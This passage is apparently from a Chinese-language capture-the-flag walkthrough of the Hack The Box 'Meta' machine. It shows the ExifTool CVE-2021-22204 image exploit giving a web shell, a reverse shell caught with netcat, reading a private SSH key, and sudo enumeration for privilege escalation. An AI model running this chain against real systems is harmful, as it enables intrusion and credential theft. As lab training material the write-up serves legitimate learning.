┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p 22,80 -sCV 10.10.11.140 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-30 11:02 CST Nmap scan report for 10.10.11.140 Host is up (0.40s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA) | 256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA) |_ 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519) 80/tcp open http Apache httpd |_http-server-header: Apache |_http-title: Did not follow redirect to http://artcorp.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.09 seconds
┌──(kali㉿offsec)-[~/Desktop/exploit-CVE-2021-22204-main] └─$ ls -la 总计 28 drwx------ 2 kali kali 4096 2022年 6月 8日 . drwxr-xr-x 5 kali kali 4096 1月30日 11:46 .. -rw-r--r-- 1 kali kali 481 2022年 6月 8日 Dockerfile -rw-r--r-- 1 kali kali 6802 2022年 6月 8日 exploit-CVE-2021-22204.py -rw-r--r-- 1 kali kali 85 2022年 6月 8日 .gitignore -rw-r--r-- 1 kali kali 2725 2022年 6月 8日 README.md
UNICORD: Exploit for CVE-2021-22204 (ExifTool) - Arbitrary Code Execution PAYLOAD: (metadata "\c${system('id')};") DEPENDS: Dependencies for exploit are met! PREPARE: Payload written to file! PREPARE: Payload file compressed! PREPARE: DjVu file created! PREPARE: JPEG image created/processed! PREPARE: Exiftool config written to file! EXPLOIT: Payload injected into image! CLEANUP: Old file artifacts deleted! SUCCESS: Exploit image written to "image.jpg"
14、我们把这个exp上传下，看看是否有漏洞显示
http://dev01.artcorp.htb/metaview/index.php
1 2 3 4 5 6 7 8 9 10 11
uid=33(www-data) gid=33(www-data) groups=33(www-data) File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Exif Byte Order : Big-endian (Motorola, MM) X Resolution : 72 Y Resolution : 72 Resolution Unit : inches Y Cb Cr Positioning : Centered DjVu Version : 0.24
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ ls -la /home/ total 12 drwxr-xr-x 3 root root 4096 Aug 29 2021 . drwxr-xr-x 18 root root 4096 Aug 29 2021 .. drwxr-xr-x 4 thomas thomas 4096 Jan 17 2022 thomas www-data@meta:/var/www/dev01.artcorp.htb/metaview$ ls -la /home/thomas/ total 32 drwxr-xr-x 4 thomas thomas 4096 Jan 17 2022 . drwxr-xr-x 3 root root 4096 Aug 29 2021 .. lrwxrwxrwx 1 root root 9 Aug 29 2021 .bash_history -> /dev/null -rw-r--r-- 1 thomas thomas 220 Aug 29 2021 .bash_logout -rw-r--r-- 1 thomas thomas 3526 Aug 29 2021 .bashrc drwxr-xr-x 3 thomas thomas 4096 Aug 30 2021 .config -rw-r--r-- 1 thomas thomas 807 Aug 29 2021 .profile drwx------ 2 thomas thomas 4096 Jan 4 2022 .ssh -rw-r----- 1 root thomas 33 Jan 29 21:54 user.txt www-data@meta:/var/www/dev01.artcorp.htb/metaview$
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ cd /tmp www-data@meta:/tmp$ ls www-data@meta:/tmp$ www-data@meta:/tmp$ uname -a Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux www-data@meta:/tmp$
www-data@meta:/tmp$ www-data@meta:/tmp$ ls -la /usr/local/bin/convert_images.sh -rwxr-xr-x 1 root root 126 Jan 3 2022 /usr/local/bin/convert_images.sh www-data@meta:/tmp$ ls -la /home/thomas/.config/neofetch/config.conf -rw-r--r-- 1 thomas thomas 14591 Aug 30 2021 /home/thomas/.config/neofetch/config.conf www-data@meta:/tmp$
www-data@meta:/tmp$ cat /home/thomas/.config/neofetch/config.conf # See this wiki page for more info: # https://github.com/dylanaraps/neofetch/wiki/Customizing-Info print_info() { info title info underline
info "OS" distro info "Host" model info "Kernel" kernel info "Uptime"uptime info "Packages" packages info "Shell" shell info "Resolution" resolution info "DE" de info "WM" wm info "WM Theme" wm_theme info "Theme" theme info "Icons" icons info "Terminal" term info "Terminal Font" term_font info "CPU" cpu info "GPU" gpu info "Memory" memory
# info "GPU Driver" gpu_driver # Linux/macOS only # info "CPU Usage" cpu_usage # info "Disk" disk # info "Battery" battery # info "Font" font # info "Song" song # [[ $player ]] && prin "Music Player" "$player" # info "Local IP" local_ip # info "Public IP" public_ip # info "Users" users # info "Locale" locale # This only works on glibc systems.
info cols }
# Kernel
# Shorten the output of the kernel function. # # Default: 'on' # Values: 'on', 'off' # Flag: --kernel_shorthand # Supports: Everything except *BSDs (except PacBSD and PC-BSD) # # Example: # on: '4.8.9-1-ARCH' # off: 'Linux 4.8.9-1-ARCH' kernel_shorthand="on"
# Distro
# Shorten the output of the distro function # # Default: 'off' # Values: 'on', 'off', 'tiny' # Flag: --distro_shorthand # Supports: Everything except Windows and Haiku distro_shorthand="off"
# Show/Hide OS Architecture. # Show 'x86_64', 'x86' and etc in 'Distro:' output. # # Default: 'on' # Values: 'on', 'off' # Flag: --os_arch # # Example: # on: 'Arch Linux x86_64' # off: 'Arch Linux' os_arch="on"
# Uptime
# Shorten the output of the uptime function # # Default: 'on' # Values: 'on', 'off', 'tiny' # Flag: --uptime_shorthand # # Example: # on: '2 days, 10 hours, 3 mins' # off: '2 days, 10 hours, 3 minutes' # tiny: '2d 10h 3m' uptime_shorthand="on"
# Show the path to $SHELL # # Default: 'off' # Values: 'on', 'off' # Flag: --shell_path # # Example: # on: '/bin/bash' # off: 'bash' shell_path="off"
# Show $SHELL version # # Default: 'on' # Values: 'on', 'off' # Flag: --shell_version # # Example: # on: 'bash 4.4.5' # off: 'bash' shell_version="on"
# CPU
# CPU speed type # # Default: 'bios_limit' # Values: 'scaling_cur_freq', 'scaling_min_freq', 'scaling_max_freq', 'bios_limit'. # Flag: --speed_type # Supports: Linux with 'cpufreq' # NOTE: Any file in '/sys/devices/system/cpu/cpu0/cpufreq' can be used as a value. speed_type="bios_limit"
# CPU speed shorthand # # Default: 'off' # Values: 'on', 'off'. # Flag: --speed_shorthand # NOTE: This flag is not supported in systems with CPU speed less than 1 GHz # # Example: # on: 'i7-6500U (4) @ 3.1GHz' # off: 'i7-6500U (4) @ 3.100GHz' speed_shorthand="off"
# Enable/Disable CPU brand in output. # # Default: 'on' # Values: 'on', 'off' # Flag: --cpu_brand # # Example: # on: 'Intel i7-6500U' # off: 'i7-6500U (4)' cpu_brand="on"
# Website to ping for the public IP # # Default: 'http://ident.me' # Values: 'url' # Flag: --ip_host public_ip_host="http://ident.me"
# Public IP timeout. # # Default: '2' # Values: 'int' # Flag: --ip_timeout public_ip_timeout=2
# Disk
# Which disks to display. # The values can be any /dev/sdXX, mount point or directory. # NOTE: By default we only show the disk info for '/'. # # Default: '/' # Values: '/', '/dev/sdXX', '/path/to/drive'. # Flag: --disk_show # # Example: # disk_show=('/' '/dev/sdb1'): # 'Disk (/): 74G / 118G (66%)' # 'Disk (/mnt/Videos): 823G / 893G (93%)' # # disk_show=('/'): # 'Disk (/): 74G / 118G (66%)' # disk_show=('/')
# Format to display song information. # # Default: '%artist% - %album% - %title%' # Values: '%artist%', '%album%', '%title%' # Flag: --song_format # # Example: # default: 'Song: Jet - Get Born - Sgt Major' song_format="%artist% - %album% - %title%"
# Print the Artist, Album and Title on separate lines # # Default: 'off' # Values: 'on', 'off' # Flag: --song_shorthand # # Example: # on: 'Artist: The Fratellis' # 'Album: Costello Music' # 'Song: Chelsea Dagger' # # off: 'Song: The Fratellis - Costello Music - Chelsea Dagger' song_shorthand="off"
# Text Colors # # Default: 'distro' # Values: 'distro', 'num' 'num' 'num' 'num' 'num' 'num' # Flag: --colors # # Each number represents a different part of the text in # this order: 'title', '@', 'underline', 'subtitle', 'colon', 'info' # # Example: # colors=(distro) - Text is colored based on Distro colors. # colors=(4 6 1 8 8 6) - Text is colored in the order above. colors=(distro)
# Image Source # # Which image or ascii file to display. # # Default: 'auto' # Values: 'auto', 'ascii', 'wallpaper', '/path/to/img', '/path/to/ascii', '/path/to/dir/' # 'command output (neofetch --ascii "$(fortune | cowsay -W 30)")' # Flag: --source # # NOTE: 'auto' will pick the best image source for whatever image backend is used. # In ascii mode, distro ascii art will be used and in an image mode, your # wallpaper will be used. image_source="auto"
# Ascii Options
# Ascii distro # Which distro's ascii art to display. # # Default: 'auto' # Values: 'auto', 'distro_name' # Flag: --ascii_distro # # NOTE: Arch and Ubuntu have 'old' logo variants. # Change this to 'arch_old' or 'ubuntu_old' to use the old logos. # NOTE: Ubuntu has flavor variants. # Change this to 'Lubuntu', 'Xubuntu', 'Ubuntu-GNOME' or 'Ubuntu-Budgie' to use the flavors. # NOTE: Arch, Crux and Gentoo have a smaller logo variant. # Change this to 'arch_small', 'crux_small' or 'gentoo_small' to use the small logos. ascii_distro="auto"
# Ascii Colors # # Default: 'distro' # Values: 'distro', 'num' 'num' 'num' 'num' 'num' 'num' # Flag: --ascii_colors # # Example: # ascii_colors=(distro) - Ascii is colored based on Distro colors. # ascii_colors=(4 6 1 8 8 6) - Ascii is colored using these colors. ascii_colors=(distro)
# Bold ascii logo # Whether or not to bold the ascii logo. # # Default: 'on' # Values: 'on', 'off' # Flag: --ascii_bold ascii_bold="on"
# Image Options
# Image loop # Setting this to on will make neofetch redraw the image constantly until # Ctrl+C is pressed. This fixes display issues in some terminal emulators. # # Default: 'off' # Values: 'on', 'off' # Flag: --loop image_loop="off"
# Crop mode # # Default: 'normal' # Values: 'normal', 'fit', 'fill' # Flag: --crop_mode # # See this wiki page to learn about the fit and fill options. # https://github.com/dylanaraps/neofetch/wiki/What-is-Waifu-Crop%3F crop_mode="normal"
# Image size # The image is half the terminal width by default. # # Default: 'auto' # Values: 'auto', '00px', '00%', 'none' # Flags: --image_size # --size image_size="auto"
# Gap between image and text # # Default: '3' # Values: 'num', '-num' # Flag: --gap gap=3
# Image offsets # Only works with the w3m backend. # # Default: '0' # Values: 'px' # Flags: --xoffset # --yoffset yoffset=0 xoffset=0
# Image background color # Only works with the w3m backend. # # Default: '' # Values: 'color', 'blue' # Flag: --bg_color background_color=
# Misc Options
# Stdout mode # Turn off all colors and disables image backend (ASCII/Image). # Useful for piping into another command. # Default: 'off' # Values: 'on', 'off' stdout="off" www-data@meta:/tmp$
www-data@meta:/tmp$ cp /tmp/poc.svg /var/www/dev01.artcorp.htb/convert_images/ www-data@meta:/tmp$ ls -la /var/www/dev01.artcorp.htb/convert_images/ total 8 drwxrwxr-x 2 root www-data 4096 Jan 4 2022 . drwxr-xr-x 4 root root 4096 Oct 18 2021 .. </poc.svg /var/www/dev01.artcorp.htb/convert_images/ www-data@meta:/tmp$ ls -la /var/www/dev01.artcorp.htb/convert_images/ total 12 drwxrwxr-x 2 root www-data 4096 Jan 30 01:49 . drwxr-xr-x 4 root root 4096 Oct 18 2021 .. -rw-r--r-- 1 www-data www-data 466 Jan 30 01:49 poc.svg www-data@meta:/tmp$
29、成功获取到目标用户权限
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿offsec)-[~/Desktop] └─$ nc -lvnp 10086 listening on [any] 10086 ... connect to [10.10.14.4] from (UNKNOWN) [10.10.11.140] 50490 bash: cannot set terminal process group (4687): Inappropriate ioctl for device bash: no job control in this shell thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ id id uid=1000(thomas) gid=1000(thomas) groups=1000(thomas) thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ cd ~ cd ~ thomas@meta:~$
30、获取下flag信息吧
1 2 3 4 5 6 7
thomas@meta:~$ ls ls user.txt thomas@meta:~$ cat user.txt cat user.txt af6d509b3bb924e92d8d08724746d4ff thomas@meta:~$
thomas@meta:~$ ls -la ls -la total 32 drwxr-xr-x 4 thomas thomas 4096 Jan 17 2022 . drwxr-xr-x 3 root root 4096 Aug 29 2021 .. lrwxrwxrwx 1 root root 9 Aug 29 2021 .bash_history -> /dev/null -rw-r--r-- 1 thomas thomas 220 Aug 29 2021 .bash_logout -rw-r--r-- 1 thomas thomas 3526 Aug 29 2021 .bashrc drwxr-xr-x 3 thomas thomas 4096 Aug 30 2021 .config -rw-r--r-- 1 thomas thomas 807 Aug 29 2021 .profile drwx------ 2 thomas thomas 4096 Jan 4 2022 .ssh -rw-r----- 1 root thomas 33 Jan 29 21:54 user.txt thomas@meta:~$ cd .ssh cd .ssh thomas@meta:~/.ssh$ ls -la ls -la total 20 drwx------ 2 thomas thomas 4096 Jan 4 2022 . drwxr-xr-x 4 thomas thomas 4096 Jan 17 2022 .. -rw-r--r-- 1 thomas thomas 563 Jan 4 2022 authorized_keys -rw------- 1 thomas thomas 2590 Aug 29 2021 id_rsa -rw-r--r-- 1 thomas thomas 563 Aug 29 2021 id_rsa.pub thomas@meta:~/.ssh$
┌──(kali㉿offsec)-[~/Desktop] └─$ ssh -i id_rsa thomas@10.10.11.140 The authenticity of host '10.10.11.140 (10.10.11.140)' can't be established. ED25519 key fingerprint is SHA256:Y8C2lOecv5ZDp3I6M5zjDUYDVsc3p/pgjF9HVRPioqQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.140' (ED25519) to the list of known hosts. Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. thomas@meta:~$
32、开始尝试枚举下sudo权限信息
1 2 3 4 5 6 7 8 9 10 11
thomas@meta:~$ id uid=1000(thomas) gid=1000(thomas) groups=1000(thomas) thomas@meta:~$ sudo -l Matching Defaults entries for thomas on meta: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME
User thomas may run the following commands on meta: (root) NOPASSWD: /usr/bin/neofetch \"\" thomas@meta:~$
thomas@meta:~$ ls -la total 36 drwxr-xr-x 5 thomas thomas 4096 Jan 30 01:54 . drwxr-xr-x 3 root root 4096 Aug 29 2021 .. lrwxrwxrwx 1 root root 9 Aug 29 2021 .bash_history -> /dev/null -rw-r--r-- 1 thomas thomas 220 Aug 29 2021 .bash_logout -rw-r--r-- 1 thomas thomas 3526 Aug 29 2021 .bashrc drwxr-xr-x 3 thomas thomas 4096 Aug 30 2021 .config drwx------ 3 thomas thomas 4096 Jan 30 01:54 .gnupg -rw-r--r-- 1 thomas thomas 807 Aug 29 2021 .profile drwx------ 2 thomas thomas 4096 Jan 4 2022 .ssh -rw-r----- 1 root thomas 33 Jan 29 21:54 user.txt thomas@meta:~$ cd .config/ thomas@meta:~/.config$ ls -la total 12 drwxr-xr-x 3 thomas thomas 4096 Aug 30 2021 . drwxr-xr-x 5 thomas thomas 4096 Jan 30 01:54 .. drwxr-xr-x 2 thomas thomas 4096 Dec 20 2021 neofetch thomas@meta:~/.config$ cd neofetch/ thomas@meta:~/.config/neofetch$ ls -la total 24 drwxr-xr-x 2 thomas thomas 4096 Dec 20 2021 . drwxr-xr-x 3 thomas thomas 4096 Aug 30 2021 .. -rw-r--r-- 1 thomas thomas 14591 Aug 30 2021 config.conf thomas@meta:~/.config/neofetch$
